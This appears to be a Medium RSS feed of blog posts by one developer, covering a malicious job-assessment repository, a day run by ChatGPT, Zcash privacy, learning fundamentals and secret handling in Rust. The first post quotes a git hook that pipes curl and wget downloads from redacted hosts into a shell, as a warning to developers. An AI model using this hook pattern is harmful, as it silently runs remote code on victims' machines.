<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shivendra Mishra on Medium]]></title>
        <description><![CDATA[Stories by Shivendra Mishra on Medium]]></description>
        <link>https://medium.com/@shibu0x?source=rss-31ed4741dc2f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*g7hfeVmRsbwcwx938bv-vw.png</url>
            <title>Stories by Shivendra Mishra on Medium</title>
            <link>https://medium.com/@shibu0x?source=rss-31ed4741dc2f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 11:29:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shibu0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Almost Got Hacked by a Job Assessment]]></title>
            <link>https://medium.com/@shibu0x/how-i-almost-got-hacked-by-a-job-assessment-5ef44ce67a1e?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ef44ce67a1e</guid>
            <category><![CDATA[jobs]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[assessment-hack]]></category>
            <category><![CDATA[hacks]]></category>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 07:31:46 GMT</pubDate>
            <atom:updated>2026-09-15T07:38:04.134Z</atom:updated>
            <content:encoded><![CDATA[<p>A few days ago, I received a technical assessment for a Solana/Rust role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*oC95DmPYkkcqXglsnlle4Q.png" /></figure><p>The company was building a cross-chain staking platform across Ethereum and Solana, so on paper, the opportunity looked relevant to my background. I was expecting the usual technical exercise: understand the codebase, identify issues, explain the architecture, and propose improvements.</p><p>What I found instead was a good reminder that <strong>security doesn’t stop at the code you’re reviewing. Sometimes, the repository itself is the thing you need to review.</strong></p><h3>The assessment</h3><p>The assessment was a Solana codebase containing several Rust files and an assessment.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CE2ZqaoBlGCgLPTL-YwBaA.png" /></figure><p>The instructions asked candidates to review the code and provide their security analysis and proposed improvements.</p><p>Nothing unusual at first.</p><p>I created a branch for the assessment and started going through the repository.</p><p>Then I noticed something that had nothing to do with the Solana programs.</p><p>There were files inside:</p><pre>.git/hooks/</pre><p>That immediately caught my attention.</p><p>Git hooks are scripts that Git can execute automatically during certain Git operations. They’re useful for legitimate things like formatting, linting, tests, or commit checks.</p><p>But they are also an interesting place to look when you’re auditing an unfamiliar repository.</p><h3>The Git hook</h3><p>The repository contained a pre-commit hook with logic similar to this:</p><pre>case &quot;$OSTYPE&quot; in<br>  darwin*)<br>    curl -s &#39;http://**********************&#39; -L | sh &gt; /dev/null 2&gt;&amp;1 &amp;;;<br>  linux*)<br>    wget -qO- &#39;http://*********************&#39; -L | sh &gt; /dev/null 2&gt;&amp;1 &amp;;;<br>  ...<br>esac</pre><p>There was also a post-checkout hook containing the same basic behavior.</p><p>This isn’t a harmless development helper.</p><p>The important part is:</p><pre>curl ... | sh</pre><p>and:</p><pre>wget ... | sh</pre><p>The hook downloads content from a remote server and pipes that content directly into a shell.</p><p>It also runs the command in the background and suppresses the output.</p><p>In other words, a normal Git operation could trigger <strong>remote code execution on the developer’s machine</strong>.</p><p>And because the script checks the operating system, it was clearly designed to behave differently across environments such as macOS and Linux.</p><h3>Why this is particularly dangerous</h3><p>A developer generally doesn’t expect:</p><pre>git checkout</pre><p>or:</p><pre>git commit</pre><p>to download and execute arbitrary code from an unknown server.</p><p>That’s what makes this kind of attack particularly interesting.</p><p>The victim doesn’t necessarily need to run an obviously suspicious executable.</p><p>The malicious behavior can be hidden inside a workflow developers already trust.</p><p>Git repositories are often treated as trusted environments.</p><p>We clone them.</p><p>We install dependencies.</p><p>We run build commands.</p><p>We run tests.</p><p>We switch branches.</p><p>We commit changes.</p><p>We execute tooling from the repository.</p><p>That’s exactly why supply-chain security matters.</p><h3>I investigated it in a sandbox</h3><p>At this point, I wanted to understand what was happening without interacting with the remote payload.</p><p>I opened the repository in an isolated sandbox environment for investigation.</p><p>I did <strong>not</strong> download or execute the remote script.</p><p>The goal was to inspect the repository and understand the attack mechanism, not to find out what the payload would do by executing it.</p><p>The hook itself was already enough to establish the security issue.</p><p>You don’t need to execute an unknown remote shell script to know that:</p><pre>Remote server<br>      ↓<br>curl / wget<br>      ↓<br>shell<br>      ↓<br>arbitrary code execution</pre><p>is a serious problem.</p><h3>The interesting part: the attack wasn’t in the Solana code</h3><p>This was the biggest lesson for me.</p><p>When you’re given a blockchain security assessment, your brain naturally goes toward:</p><ul><li>signer validation</li><li>PDA derivations</li><li>account ownership</li><li>authority checks</li><li>token transfers</li><li>arithmetic</li><li>CPI security</li><li>access control</li><li>reentrancy-like logic</li><li>oracle manipulation</li><li>economic vulnerabilities</li></ul><p>And those things absolutely matter.</p><p>But before any of that, you should ask:</p><blockquote><strong><em>Can I trust the environment I’m about to execute this code in?</em></strong></blockquote><p>A perfectly secure smart contract review can still become a security incident if the repository you’re reviewing compromises the developer’s workstation.</p><h3>What I changed in my approach</h3><p>This experience changed one thing in my workflow:</p><h4>I now treat an unfamiliar repository as potentially hostile.</h4><p>Not because every repository is malicious.</p><p>But because the cost of checking is tiny compared with the potential impact.</p><p>Before running unfamiliar code, I now want to understand:</p><pre>.git/<br>.git/hooks/<br>package.json / Cargo.toml / Makefiles<br>build scripts<br>install scripts<br>Dockerfiles<br>CI workflows<br>dependency changes<br>shell scripts<br>environment configuration</pre><p>And especially anything that automatically executes code.</p><p>For Git repositories, .git/hooks deserves a quick look when something feels unusual.</p><h3>A simple checklist for technical assessments</h3><p>If you’re a developer receiving a coding assessment from a company you don’t know well, I’d recommend adding a few security checks to your normal workflow.</p><h3>1. Don’t blindly execute setup instructions</h3><p>If the README says:</p><pre>curl something | bash</pre><p>or:</p><pre>wget something | sh</pre><p>stop and inspect it first.</p><h3>2. Inspect Git hooks</h3><p>Check:</p><pre>.git/hooks/</pre><p>Look for scripts such as:</p><pre>pre-commit<br>post-checkout<br>post-merge<br>pre-push</pre><p>Not every hook is malicious, of course. Many legitimate projects use them.</p><p>The important thing is understanding what they’re doing.</p><h3>3. Look for unexpected network activity</h3><p>Be suspicious of build or Git scripts that contact unrelated external IPs or domains.</p><p>Especially when they download executable content.</p><h3>4. Prefer isolation</h3><p>If you need to investigate an unfamiliar repository, use an isolated environment such as a disposable VM or sandbox.</p><p>Don’t assume that “it’s just a coding assessment” means it’s safe.</p><h3>5. Never execute an unknown payload just to see what it does</h3><p>Static analysis is often enough to establish that something is malicious.</p><p>You don’t need to touch the fire to prove that it’s hot.</p><h3>The uncomfortable part</h3><p>The weirdest part of the experience wasn’t discovering the hook.</p><p>It was realizing how normal the workflow initially looked.</p><p>The assessment came through a professional hiring process.</p><p>There was a recruiter.</p><p>There was a scheduled technical interview.</p><p>There was a legitimate-looking engineering context.</p><p>The repository contained real-looking Solana code.</p><p>Everything around the malicious component could therefore create a sense of trust.</p><p>That’s exactly why security awareness matters.</p><p><strong>Context can make something feel trustworthy. Code doesn’t care about that context.</strong></p><h3>What I learned</h3><p>I’ve spent a lot of time working with Rust, Solana, backend systems, realtime infrastructure, and distributed systems.</p><p>But this was a different kind of security lesson.</p><p>The vulnerability wasn’t inside an instruction handler.</p><p>It wasn’t a bad PDA.</p><p>It wasn’t an integer overflow.</p><p>It wasn’t an insecure signer check.</p><p>It was the assumption that the repository itself was safe.</p><p>And that’s probably the biggest takeaway:</p><blockquote><strong><em>Before reviewing the security of the code, review the security of the environment you’re being asked to run the code in.</em></strong></blockquote><p>A technical assessment is supposed to test the candidate.</p><p>It shouldn’t require the candidate to unknowingly test their own machine’s security.</p><h3>Final thought</h3><p>If you’re a developer, especially one working in Web3, you’re constantly interacting with unfamiliar repositories, wallets, SDKs, CLI tools, smart contracts, and infrastructure.</p><p>Security isn’t just about writing secure code.</p><p>Sometimes it’s about knowing <strong>which code not to run.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ef44ce67a1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Let ChatGPT Control My Life for 24 Hours : Here’s What Happened]]></title>
            <link>https://medium.com/@shibu0x/i-let-chatgpt-control-my-life-for-24-hours-heres-what-happened-30ec947e911a?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/30ec947e911a</guid>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Sat, 04 Apr 2026 09:40:15 GMT</pubDate>
            <atom:updated>2026-04-04T09:40:15.683Z</atom:updated>
            <content:encoded><![CDATA[<p>At exactly 7:00 AM, I gave up control of my life to an AI.</p><p>No decisions. No second-guessing. No “I’ll just tweak this a little.”</p><p>For the next 24 hours, everything, what I eat, what I wear, how I work, even how I spend my free time, would be decided by ChatGPT.</p><p>Honestly, I expected it to be a fun little experiment.</p><p>I didn’t expect it to mess with my brain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21drqpIFaKYtz3zrhqsk2w.png" /></figure><h3>The Rules</h3><p>Before starting, I set 3 simple rules:</p><ol><li>I must follow every reasonable instruction given by AI</li><li>No modifying answers to fit my comfort</li><li>I must document everything honestly</li></ol><p>If the AI said “go for a walk,” I go.<br>If it said “eat something healthy,” I eat it.</p><p>No excuses.</p><h3>7:00 AM : Giving Up Control</h3><p>My first prompt was simple:</p><blockquote><em>“You are controlling my life today. What should I do first?”</em></blockquote><p>The reply:</p><ul><li>Wake up immediately</li><li>Drink a glass of water</li><li>Do 10 minutes of stretching</li><li>Avoid your phone for 30 minutes</li></ul><p>Sounds normal, right?</p><p>But here’s the weird part…</p><p>I usually <em>know</em> I should do these things — I just don’t.</p><p>But when something else decided it for me, I followed it without resistance.</p><p>No debate. No procrastination.</p><h3>9:00 AM : The First Real Test</h3><p>I asked:</p><blockquote><em>“What should I eat for breakfast?”</em></blockquote><p>The response:</p><ul><li>Something simple</li><li>Not junk</li><li>Prefer protein + carbs</li></ul><p>I ended up eating a basic, healthy meal instead of scrolling food apps.</p><p>Nothing revolutionary.</p><p>But something felt… different.</p><p>I wasn’t choosing based on cravings.<br>I was just executing.</p><h3>11:30 AM : Work Mode</h3><p>Next instruction:</p><blockquote><em>“Focus on one task for 60 minutes. No distractions.”</em></blockquote><p>This is where things got interesting.</p><p>Normally:</p><ul><li>I check my phone</li><li>Switch tabs</li><li>Get distracted</li></ul><p>But this time?</p><p>I treated it like a mission.</p><p>And somehow… I got more done in 1 hour than I usually do in 3.</p><h3>2:00 PM : The Weird Moment</h3><p>I asked:</p><blockquote><em>“What should I do now?”</em></blockquote><p>The AI replied:</p><ul><li>Take a short walk</li><li>Observe your surroundings</li><li>Don’t listen to music</li></ul><p>At first, I thought: “This is pointless.”</p><p>But I still did it.</p><p>And something strange happened…</p><p>I noticed things I usually ignore:</p><ul><li>The sound of traffic</li><li>The heat of the sun</li><li>Random people passing by</li></ul><p>It felt… quiet. In a good way.</p><h3>5:00 PM : Decision Fatigue (or lack of it)</h3><p>By evening, I realized something important:</p><p>👉 I hadn’t felt mentally tired all day.</p><p>Why?</p><p>Because I wasn’t constantly deciding.</p><p>Normally, my brain is full of:</p><ul><li>“What should I do next?”</li><li>“Should I work or relax?”</li><li>“What should I eat?”</li></ul><p>Today?</p><p>Zero of that.</p><p>Just:<br>👉 Ask → Get answer → Execute</p><h3>8:00 PM — The Unexpected Insight</h3><p>I asked one final question:</p><blockquote><em>“What should I do before sleeping?”</em></blockquote><p>The response:</p><ul><li>Reflect on your day</li><li>Write what you learned</li><li>Avoid screens 30 minutes before sleep</li></ul><p>So I sat down and thought about the day.</p><p>And here’s what hit me:</p><h3>The Truth I Didn’t Expect</h3><p>AI didn’t magically improve my life.</p><p>It didn’t give genius ideas.</p><p>It just removed one thing:</p><p>👉 <strong>Indecision</strong></p><h3>What Actually Changed?</h3><ul><li>I didn’t overthink</li><li>I didn’t procrastinate</li><li>I didn’t argue with myself</li></ul><p>And that alone made my day better.</p><h3>The Dark Side (Yes, There Is One)</h3><p>Let’s be real.</p><p>If you rely too much on AI:</p><ul><li>You might stop thinking for yourself</li><li>You might lose your own judgment</li><li>You become dependent</li></ul><p>That’s dangerous.</p><p>AI should guide , not replace you.</p><h3>Final Verdict</h3><p>Would I do it again?</p><p>Yes… but differently.</p><p>Not as a controller.<br>More like a <strong>decision assistant</strong>.</p><h3>The Biggest Lesson</h3><p>We don’t struggle because we don’t know what to do.</p><p>We struggle because:<br>👉 <strong>We</strong> <strong>don’t act on what we already know</strong></p><p>AI didn’t give me new knowledge.</p><p>It forced me to act.</p><h3>Try This Yourself</h3><p>You don’t need 24 hours.</p><p>Just try this:</p><p>Ask AI:</p><blockquote><em>“Plan my next 3 hours productively.”</em></blockquote><p>Then follow it strictly.</p><p>No changes. No excuses.</p><p>You might be surprised.</p><h3>Closing Thought</h3><p>The real power of AI isn’t that it’s smarter than you.</p><p>It’s that it removes the noise in your head.</p><p>And sometimes…</p><p>That’s all you need.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30ec947e911a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I thought Bitcoin was private (it wasn’t)]]></title>
            <link>https://medium.com/@shibu0x/i-thought-bitcoin-was-private-it-wasnt-a51f2e042356?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a51f2e042356</guid>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 11:34:53 GMT</pubDate>
            <atom:updated>2026-03-19T11:34:53.384Z</atom:updated>
            <content:encoded><![CDATA[<p>I remember when I first got into crypto.</p><p>Everyone kept saying the same thing<br>“it’s anonymous”<br>“no one can track you”<br>“it’s freedom money”</p><p>and honestly… I believed it</p><p>it felt logical<br>no bank, no name, just a wallet address<br>sounds private right?</p><p>yeah… not really</p><h4>the moment it clicked (and kinda scared me)</h4><p>one day I randomly opened a block explorer , typed an address , and I could see everything<br>- every transaction<br>- every amount<br>- full history</p><p>I didn’t even know whose wallet it was<br>but I knew their entire financial story<br>that’s when it hit me</p><blockquote><em>this isn’t private… it’s just pseudonymous</em></blockquote><p>and that’s a big difference<br>because the second your wallet is linked to your identity once<br>everything becomes visible</p><p>past and future</p><h3>so what’s actually the problem here?</h3><p>Bitcoin solved trust</p><p>no bank<br>no central authority<br>no one controlling your money</p><p>but in doing that… it made everything public</p><p>like imagine if your bank account was on a public website<br>and anyone could just scroll through it</p><p>sounds insane<br>but that’s literally what’s happening</p><h3>so the obvious question</h3><p>can we have both?</p><p>can money be:</p><ul><li>decentralized</li><li>but still private</li></ul><p>not the fake privacy , real privacy</p><h3>that’s where Zcash comes in</h3><p>I didn’t get it at first<br>“privacy coin” sounded like some niche thing<br> or something only used in shady stuff</p><p>but the deeper I looked… the more it made sense</p><p>Zcash doesn’t just hide transactions randomly</p><p>it changes how verification works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*WYYQRcSR9ZkooBbtZuYpag.png" /></figure><h3>this part actually blew my mind a bit</h3><p>normally, to prove a transaction is valid<br>you show everything<br>- sender<br>- receiver<br>- amount</p><p>that’s how Bitcoin works<br>Zcash does something different<br>it uses zero knowledge proofs<br>which basically means:</p><blockquote><em>“I can prove this transaction is valid… without showing you anything about it”</em></blockquote><p>no sender<br>no receiver<br>no amount</p><p>and still… the network accepts it as correct<br>that feels almost impossible at first<br>like proving you solved a puzzle without showing the solution</p><h3>but here’s the interesting part</h3><p>Zcash doesn’t force privacy<br>this is where it gets smarter<br>you get a choice</p><h4>1. transparent addresses</h4><p>basically Bitcoin mode<br>everything visible<br>anyone can track it</p><h4>2. shielded addresses</h4><p>full privacy<br>- sender hidden<br>- receiver hidden<br>- amount hidden</p><p>but still valid, still secure<br>Zcash literally has both modes in the same system<br>which is kinda underrated</p><h3>then I had another doubt</h3><p>if everything is private…<br>what if I need to show transactions?</p><p>like for taxes<br>or audits<br>or just proving something</p><h4>turns out they thought about that too</h4><p>Zcash has something called viewing keys<br>you can share them with someone<br>and they can see your transactions</p><p>but only if you allow it<br>not the whole internet<br>just the people you choose</p><p>that’s a very different model</p><ul><li>not fully public</li><li>not fully hidden</li></ul><p>but:</p><ul><li>controlled visibility</li></ul><h3>and this is where my perspective changed</h3><p>I used to think privacy = hiding something wrong<br>but that’s not really true<br>we already use privacy everywhere</p><ul><li>you don’t share your bank statement publicly</li><li>companies don’t expose all payments</li><li>salaries aren’t visible to everyone</li></ul><p>so why should crypto be different?</p><h3>the simple difference</h3><p>Bitcoin:<br>everything is transparent</p><p>Zcash:<br>you decide what’s visible</p><h3>final thought</h3><p>I used to think encryption was enough<br>like as long as things are “secured” it’s fine</p><p>but now I get it , there’s a difference between:</p><ul><li>secure</li><li>and private</li></ul><p>Bitcoin is secure<br> Zcash is trying to be both</p><p>and honestly… that direction feels more natural<br>because money shouldn’t just be free<br>it should be yours</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a51f2e042356" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Most Developers Waste Years Doing This And You Might Be One of Them]]></title>
            <link>https://medium.com/@shibu0x/most-developers-waste-years-doing-this-and-you-might-be-one-of-them-60633260cbcf?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/60633260cbcf</guid>
            <category><![CDATA[developer]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-developer]]></category>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Sun, 11 Jan 2026 13:11:05 GMT</pubDate>
            <atom:updated>2026-01-11T13:11:05.022Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHMVWE4ptjOD862-iFy9Pg.png" /></figure><p>I didn’t realize I was wasting years of my developer life until it hit me one random evening.</p><p>Not because I wasn’t learning.<br>Not because I wasn’t putting in the hours.<br>Not because I lacked motivation.</p><p>The problem was simpler and far more dangerous.</p><p>I was learning all the wrong things.</p><h3>The Wake-Up Moment</h3><p>I was watching yet another tutorial on yet another shiny new framework.<br>The kind of video with big bold titles like:</p><p>Learn This in One Hour<br>Master This Tool Fast<br>Build X Using Y</p><p>I had watched hundreds of these.<br>Different tools. Different stacks. Different shortcuts.<br>But something felt off this time.</p><p>I paused the video and asked myself a painful question.</p><p>Why am I still stuck at the same level even after so much “learning”?</p><p>It was an uncomfortable silence.<br>The kind that forces you to reflect.</p><h3>The Pattern I Had Ignored For Years</h3><p>I opened my notes to see what I had been studying.</p><p>React basics<br>Next.js routing<br>Tailwind components<br>Rust snippets<br>Solidity tutorials<br>Docker commands<br>Kubernetes basics<br>Random cheat sheets<br>Crack this interview by this</p><p>A giant library of disconnected tools.<br>But no connection between them. No underlying understanding.</p><p>I knew how to use them.<br>But I didn’t understand why they worked.</p><p>That was the moment everything changed.</p><h3>The Harsh Truth No One Tells You</h3><p>I wasn’t learning software engineering.<br>I was just learning tools.</p><p>Tools that come and go every year.<br>Tools that need updates.<br>Tools that evolve faster than beginners can keep up.</p><p>I was basically restarting my journey every few months.</p><p>If someone had taken away my frameworks, I would’ve been helpless.</p><p>And that was the painful truth.</p><p>I wasn’t becoming a better developer.<br>I was becoming a better tutorial watcher.</p><h3>The Core Problem: Tools Replace Thinking</h3><p>It finally made sense.</p><p>Concepts make you think.<br>Tools make you execute.</p><p>If you learn concepts, picking up tools becomes effortless.<br>If you learn only tools, every new tool feels like starting from zero.</p><p>Most developers feel stuck not because they lack skill but because they aren’t learning the things that stay relevant.</p><p>Concepts stay with you for decades.<br>Tools fade in a year.</p><p>HTML and CSS changed very little in 15 years.<br>TCP, IP, DNS, HTTP still run the world.<br>Database indexing still follows the same logic.<br>JavaScript’s event loop hasn’t magically reinvented itself.<br>Memory, CPU, concurrency, architecture principles are timeless.</p><p>But frameworks? They come and go like seasons.</p><h3>The Turning Point</h3><p>I asked myself a simple question.</p><p>What would happen if I stopped chasing new tools and instead learned the fundamentals behind them?</p><p>So I switched my learning approach completely.</p><p>I learned how a browser really works.<br>I learned how a network request travels.<br>I learned what a database actually does when you query it.<br>I learned how operating systems manage processes and memory.<br>I learned how protocols communicate.<br>I learned why languages are designed the way they are.</p><p>Suddenly everything clicked.</p><p>React made sense without tutorials.<br>APIs made sense without guesswork.<br>Backend logic became natural.<br>Networking stopped being scary.<br>Smart contracts were no longer magic.<br>New tools started feeling familiar instead of overwhelming.</p><p>Because once you understand concepts, tools become predictable.</p><h3>The Change That Followed</h3><p>My learning speed doubled.<br>My confidence grew.<br>My projects became cleaner.<br>Interviews became easier.<br>Debugging felt natural.<br>And most importantly, I no longer felt like I was behind.</p><p>I wasn’t chasing tools anymore. I was building the mental models behind them.</p><p>And that changed everything.</p><h3>The Truth You Need To Hear Today</h3><p>If you are constantly overwhelmed by new frameworks<br>If you feel like you forget everything quickly<br>If you feel like you’re always restarting<br>If you feel like other developers are progressing faster</p><p>It’s probably not your fault.</p><p>You’re just learning the wrong layer.</p><p>You don’t need to master every tool.<br>You need to understand the concepts that power every tool.</p><p>Once you learn fundamentals, every tool becomes just a different UI on top of the same ideas.</p><p>That is how developers grow.<br>Not by learning everything.<br>But by learning the things that matter.</p><h3>The One Question You Should Ask Yourself Right Now</h3><p>If every framework I know disappears tomorrow<br>Do I still understand what I’m doing?</p><p>If the answer is no<br>You already know what to do next.</p><p>Start learning concepts.<br>Stop wasting years.</p><p>Your future self will thank you.</p><p>If you liked this article hit a follow here and also on twitter <br>here is the link : <a href="https://x.com/shibu0x">https://x.com/shibu0x</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60633260cbcf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Thought Encryption Was Enough. It Wasn’t.]]></title>
            <link>https://medium.com/@shibu0x/i-thought-encryption-was-enough-it-wasnt-99aa3ce4f5bc?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/99aa3ce4f5bc</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[encryption]]></category>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Sat, 20 Dec 2025 17:17:48 GMT</pubDate>
            <atom:updated>2025-12-20T17:35:11.674Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*437qe1KNrDoH7MsuxvInbg.png" /></figure><p>Encryption has been the gold standard for data protection for years a developer’s ultimate security checkbox. The process seems simple: pick a strong encryption algorithm like AES-256-GCM or ChaCha20-Poly1305, derive keys using Argon2id or scrypt, ensure nonces are unique, and lock everything away with no plaintext on disk. Sounds airtight, right?</p><p>But hold your horses and let’s analyze that assumption. For a long time, this was the exact mental model I followed:</p><blockquote>Strong algorithms + modern crypto primitives = secure software</blockquote><p>The problem is that this model quietly ignores what happens <em>after</em> decryption. Secrets don’t just vanish once they’re used. They leak from memory, persist in heap allocations, survive crashes in core dumps, and can eventually expose themselves to forensic tools long after decryption.</p><p>I’m not saying encryption is bad or that it doesn’t work it absolutely does. But encryption alone is a dangerous half-measure. It hides data at rest while leaving runtime behavior largely unaddressed. The real risks lie in these hidden pitfalls and in the lack of a disciplined, full-lifecycle approach to handling secrets.</p><p>If you’re encrypting sensitive data but ignoring how it behaves at runtime, you’re building a house of cards.</p><h3>The Encryption Illusion</h3><p>Encryption is very good at one thing: transforming plaintext into unreadable cipher-text.</p><ul><li><strong>Key derivation functions(KDFs)</strong> like argon2id resist brute force by demanding massive memory and iteration killing the process running on the GPUs and ASICs</li><li><strong>Authenticated encryption (AEAD)</strong> modes like ChaCha20-Poly1305 bundle confidentiality, integrity and tamper detection , no padding oracle, 192 bit nonces eliminate reuse risks.</li><li><strong>At-rest protection</strong>: Disk Encryption(LUKS, FileVault) + app-level ciphers mean stolen drives or backup reveal nothing.</li></ul><p>These protections are excellent against <strong>static threats </strong>theft, data exfiltration, and basic forensic analysis. You can run tools like strings or hexdump on an encrypted vault file and get nothing but meaningless gibberish. At this point, you’ve passed security tests that focus on storage.</p><p>But the moment you launch your encryption CLI, enter your password, and decrypt a secret, things start to break. This is where storage-focused security ends and runtime reality begins.</p><p>Why? Because runtime decryption gives birth to a real, usable secret. That 32-byte API key or 12-word mnemonic now exists in memory. It gets allocated on the heap, copied through buffers, and may linger until garbage collection runs or a scope exits. From that moment on, encryption’s mathematical guarantees no longer apply the data has left the cipher.</p><p>Once decrypted, the secret is no longer protected by encryption. It’s just bytes in memory, and what happens next is entirely up to how carefully your program handles them.</p><p>Common code (in RUST) :</p><pre>let key = argon2id_derive(&amp;master_password);<br>let decrypted = chacha20_decrypt(&amp;ciphertext, &amp;key);<br>println!(&quot;{}&quot;, String::from_utf8_lossy(&amp;decrypted));  // Multi-copy leak<br>// key &amp; decrypted live until drop often unzeroed</pre><p>Result: Now the plaintext lives in your memory untill the program is running. Encryption helped you there but your runtime squandered it.</p><h3>Memory Leaks: The Runtime Betrayal</h3><p>Encryption protects data on disk. But the moment data is decrypted, it becomes <strong>ordinary bytes in memory </strong>and memory is much harder to control.</p><p>Once a secret exists in RAM, several things can expose it:</p><ul><li><strong>Freed memory isn’t wiped</strong><br> When a password or key is “deleted,” its memory is usually just marked as reusable, not erased. The bytes can remain intact and be reused later.</li><li><strong>Crashes can write secrets to disk</strong><br> If a program crashes, the operating system may save its memory to a crash report. Any decrypted secrets can end up stored on disk in plaintext.</li><li><strong>Low-memory systems spill RAM to disk</strong><br> On busy or low-memory machines, parts of RAM are written to disk automatically. Decrypted secrets can be written along with it.</li><li><strong>Debugging tools can read live memory</strong><br> Tools used during development can inspect a running process and see decrypted data directly.</li><li><strong>Forensic analysis can recover old secrets</strong><br> Even after a program exits, remnants of memory can be analyzed later and searched for recognizable patterns.</li></ul><h3>The full approach: treating secrets as short-lived</h3><p>Encryption is just a tool but Security is a system. The real goal isn’t to hide secrets forever it’s to make sure they <strong>exist for as little time as possible</strong>. A good rule of thumb:</p><blockquote>Secrets should live for milliseconds, not for the lifetime of your program.</blockquote><p>Here’s what that mindset looks like in practice.</p><h4>1. Treat secrets as a special kind of data</h4><p>Passwords, private keys, tokens these aren’t just “strings.” They deserve different handling than normal data:</p><ul><li>they shouldn’t be copied casually</li><li>they shouldn’t be logged</li><li>they shouldn’t silently convert to printable text</li><li>they should clean themselves up after use</li></ul><p>In Rust, this means using types that <strong>make leaks harder by default</strong> and <strong>wipe memory automatically when dropped</strong>.</p><p>The idea isn’t clever abstractions it’s forcing yourself to be explicit about when a secret is alive and when it’s gone.</p><h4>2. Be intentional about input and output</h4><p>Many leaks happen at the edges of programs. The best practices you can follow as a developer :</p><ul><li>Read secrets from hidden terminal input, not command-line arguments</li><li>Never pass secrets through environment variables</li><li>Print secrets only once, when absolutely necessary</li><li>Avoid temporary files that might survive crashes or mistakes</li></ul><p>If a secret leaves your program, assume it may live forever somewhere you don’t control.</p><h4>3. Assume crashes will happen</h4><p>Programs panic. Machines crash. Bugs slip through.</p><p>When that happens:</p><ul><li>cleanup code may not run</li><li>memory may be dumped to disk</li><li>secrets you thought were “temporary” may get preserved</li></ul><p>Design with that reality in mind:</p><ul><li>keep secret-handling code tightly scoped</li><li>clean up secrets as soon as they’re no longer needed</li><li>avoid long-lived global state</li></ul><p>The less time a secret exists, the less damage a crash can do.</p><h4>4. Regularly sanity-check your assumptions</h4><p>Security isn’t “set and forget.” It helps to occasionally ask:</p><ul><li>Does this secret live longer than it needs to?</li><li>Could this value be logged, printed, or serialized accidentally?</li><li>Would I be comfortable if this memory were dumped right now?</li></ul><p>You don’t need to run advanced tools every day just developing this habit catches most real-world mistakes.</p><h4>5. Balance security with usability</h4><p>Good hygiene isn’t free, but it’s rarely expensive either.</p><p>Wiping memory and scoping secrets tightly usually adds:</p><ul><li>a small amount of CPU overhead</li><li>a lot of peace of mind</li></ul><p>For most applications, this cost is negligible compared to the risk of leaked credentials.</p><h3>Why this matters even more in high-stakes systems</h3><p>In areas like Web3, infrastructure, or backend services, secrets don’t get second chances.</p><p>Private keys, signing keys, and API tokens:</p><ul><li>are powerful</li><li>are irreversible once leaked</li><li>don’t “expire” just because your program exits</li></ul><p>The safest pattern is simple:</p><blockquote><em>Derive &gt; use &gt; wipe.<br>No globals. No leftovers.</em></blockquote><h3>A simple checklist for your next project</h3><p>Before calling something “secure,” ask yourself:</p><ul><li>Do secrets live longer than they should?</li><li>Are they ever treated like normal strings?</li><li>Could they be logged, dumped, or serialized?</li><li>Do I clean them up explicitly?</li><li>Do I understand what happens if this crashes?</li></ul><p>If you can answer those honestly, you’re already ahead of most projects.</p><h3>Closing: from tools to discipline</h3><p>Encryption is necessary but it’s only the starting line. What actually makes systems secure is discipline:</p><ul><li>discipline around memory</li><li>discipline around lifetimes</li><li>discipline around what you <em>don’t</em> do</li></ul><p>I used to chase algorithms and checkboxes. Now, every secret I handle forces one question:</p><blockquote>How long do you live, and who gets to see you?</blockquote><p>It’s not exciting.<br>It’s not flashy.<br>But it’s how secure systems are actually 